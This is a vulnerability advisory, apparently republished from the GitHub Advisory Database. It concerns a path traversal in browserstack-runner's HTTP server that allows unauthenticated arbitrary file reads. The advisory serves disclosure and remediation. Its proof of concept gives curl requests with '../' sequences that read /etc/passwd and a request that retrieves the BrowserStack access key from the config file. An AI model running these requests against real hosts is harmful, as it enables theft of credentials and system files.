Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 20:19 UTC Customize Public modeDiscuss ChangeIntel on Discord

browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-8rpw-6cqh-2v9h

Published

## Summary The HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem. ## Root Cause **lib/server.js, lines 530–534 : `_default` handler:** ```javascript '_default': function defaultHandler(uri, body, request, response) { var filePath = path.join(process.cwd(), uri); handleFile(filePath, request, response); } ``` `uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file. **bin/cli.js, line 131 : server binding:** ```javascript server.listen(parseInt(config.test_server_port, 10)); ``` No hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces). **No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check. ## Steps to Reproduce ### Step 1 : Start the server (Terminal 1) ```bash cd browserstack-runner echo '<html><body>test</body></html>' > _poc_test.html echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js ``` ### Step 2 : Read arbitrary files (Terminal 2) **Read /etc/hostname:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname" ``` **Read /etc/passwd:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd" ``` **Read the BrowserStack access key from config:** ```bash curl -s "http://127.0.0.1:8888/browserstack.json" ``` > **Note:** `--path-as-is` is required because curl normalizes `../` sequences > by default. Browsers and HTTP libraries that do not normalize URL paths > (or that allow raw path construction) can exploit this without special flags. ### Expected Result - `/etc/hostname` → server returns the machine hostname - `/etc/passwd` → server returns the full passwd file - `browserstack.json` → server returns the config including the BrowserStack access key ## Impact - **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext - **Source code theft** : all project files are readable - **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc. - **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker ## Suggested Fix 1. Validate the resolved path stays within the project root: ```javascript var filePath = path.resolve(process.cwd(), '.' + uri); if (!filePath.startsWith(process.cwd() + path.sep)) { sendError(response, 'Forbidden', 403); return; } ``` 2. Bind on `127.0.0.1` 3. Add authentication to the `_default` handler

Source published
3 Jun 2026 21:38:40 UTC
Source modified
3 Jun 2026 21:56:25 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS_V4 · CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 20:19 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current